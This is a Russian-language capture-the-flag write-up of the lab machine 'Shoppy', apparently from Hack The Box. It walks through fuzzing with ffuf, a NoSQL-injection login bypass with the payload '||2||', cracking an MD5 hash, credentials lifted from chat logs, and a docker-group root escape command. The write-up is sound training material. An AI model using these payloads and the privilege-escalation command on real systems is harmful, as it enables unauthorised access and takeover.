Скрипт нашел нам два открытых порта : 22 — служба OpenSSH 8.4p1 и 80 — веб сервер Nginx 1.23.1. Естествен но , начинаем с веб сервера .
Главная страница сайта http://shoppy/
На самом сайте ничего интерес ного найти не удалось , поэтому приступа ем к сканиро ванию на предмет скрытых каталогов и файлов .
Одно из первых действий при тестирова нии безопасности веб приложе ния — это сканиро вание методом перебора каталогов , чтобы найти скрытую информацию и недоступные обычным посетителям функции . Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый fuf. При запуске указыва ем сле дующие параметры :
•-w — словарь (я использую словари из набора SecLists);
•-t — количество потоков;
•-u — URL.
ffuf -u 'http://shoppy.htb/FUZZ' -w directory_2.3_medium_
lowercase.txt -t 256
Резуль тат сканиро вания каталогов с помощью fuf
Так получаем страницу авториза ции , с которой мы, скорее всего , и начнем наше тестирова ние сайта .
Страница авториза ции http://shoppy/login
Не забываем просканиро вать и поддомены , использовать можно все тот же fuf. В этот раз будем перебирать заголовок Host (параметр -H). Но в ответ попадут абсолют но все варианты , поэтому отфильтру ем варианты по размеру .
ffuf -u 'http://shoppy.htb/' -H 'Host: FUZZ.shoppy.htb' -w
bitquark-subdomains-top100000.txt -t 256 -f
s 169
Резуль тат сканиро вания поддоменов с помощью fuf
Находим еще один сайт и добавляем его в /etc/hosts:
10.10.11.180 shoppy.htb mattermost.shoppy.htb
Страница авториза ции http://mattermost.shoppy/
ТОЧКА ВХОДА
Так как по адресу mattermost.shoppy.htb расположен готовый продукт , а на shoppy.htb — самописный сервис , начнем со второго . Первым делом я решил перебрать по словарю разные нагрузки для обхода авториза ции — от учетных данных admin:admin до инъекций SQL и LDAP. Делать такие переборы удобнее всего с помощью Burp Intruder.
Burp Intruder — вкладка Positions
В результатах перебора видим много ответов , размер которых равен 318 бай там, но есть и выбивающиеся из общего списка . При этом в самом ответе нам выдают cookie и отправляют на страницу /admin.
Burp Intruder — результат перебора
Обнаружи ваем, что нагрузка '||2||' в поле логина эксплу атирует NoSQLинъекцию , что помогает обойти авториза цию.
Админис тра тив ная панель сайта
В верхнем углу видим кнопку поиска . Скорее всего , это и даст нам даль нейший вектор атаки . Переходим к поиску и вводим любую комбинацию .
Форма поиска пользовате лей
Тут больше всего привлека ет внимание URL:
http://shoppy.htb/admin/search-users?username=qwe
Попыт ки «протыкать кавычки и скобки » ни к чему не привели . Но так как это функция , работающая с именами пользовате лей , давай переберем возможные имена .
ТОЧКА ОПОРЫ
Для перебора снова используем Burp Intruder. А словарь для перебора имен берем из знамени того набора словарей SecLists.
Burp Intruder — вкладка Positions
Резуль тат перебора
В итоге получаем два доступных логина: admin и josh. Первый мы уже знали и до этого , но он нам ничего не дал, поэтому в браузе ре вбиваем второго пользовате ля и получаем ссылку на экспорт каких то данных :
http://shoppy.htb/exports/export-search.json
Данные пользовате ля josh
Пароль похож на хеш MD5, поэтому восполь зуемся сайтом CrackStation для поиска прообра за.
Резуль тат взлома хеша
На SSH залогинить ся не вышло , но зато получаем доступ к Mattermost, а так как это корпоратив ный чат, то не исключена возможность найти что то инте ресное .
Главная панель Mattermost
В итоге в одном из чатов нам удалось найти учетные данные для подклю чения к какой то машине.
Чат Deploy Machine
С найден ными учетными данными подклю чаем ся к хосту и забираем первый флаг.
Флаг пользовате ля
ПРОДВИЖЕНИЕ
Скрипт PEASS для Linux ничего не показал, кроме того, что для провер ки sudoers нужно ввести пароль пользовате ля. Поэтому проверя ем в ручном режиме.
sudo -l
Настрой ки sudoers
Таким образом , мы можем выполнить приложе ние /home/deploy/passwordmanager от имени пользовате ля deploy без ввода пароля. Это исполняемый
ELF-файл.
Вывод утилиты fle
Посколь ку перед нами менеджер паролей, попробу ем его проана лизи ровать . Скачива ем файл с удален ного хоста на локальный и закидываем в любой удоб ный декомпилятор .
scp jaeger@10.10.11.180:/home/deploy/password-manager ./
Я, как всегда , использую IDA Pro с Hex-Rays. Программа , по всей видимости , написана на C++. Сразу в главной функции находим пароль от программы — Sample. Вот такой плохой менеджер паролей (ну и машина легкая , для нович ков).
Псевдокод функции main
Вводим найден ный пароль в менеджер и получаем учетные данные другого пользовате ля .
sudo -u deploy /home/deploy/password-manager
Получе ние новых учетных данных Локаль но меняем пользовате ля с помощью su.
Сессия пользовате ля deploy
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Снова проводить разведку нет смысла , так как всю информацию мы уже соб рали. Но после выполнения команды id обратим внимание , что мы состоим
в группе docker, а это дает нам право его запускать . В случаях , когда нам раз решено запускать файлы , для запуска которых в обычной среде нужны при вилегии , я обращаюсь к базе GTFOBins.
GTFOBins — это список исполняемых файлов Unix, которые можно исполь зовать для обхода локальных ограниче ний безопасности в неправиль но нас троенных системах . Проект собирает законные функции двоичных файлов Unix, которыми можно злоупот реблять, чтобы получить доступ к командным оболоч кам, повысить привиле гии или передать файлы .
Находим готовый рецепт для Docker и используем его.
Инструк ция получения управления с помощью файла Docker
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
Флаг рута
Машина захвачена !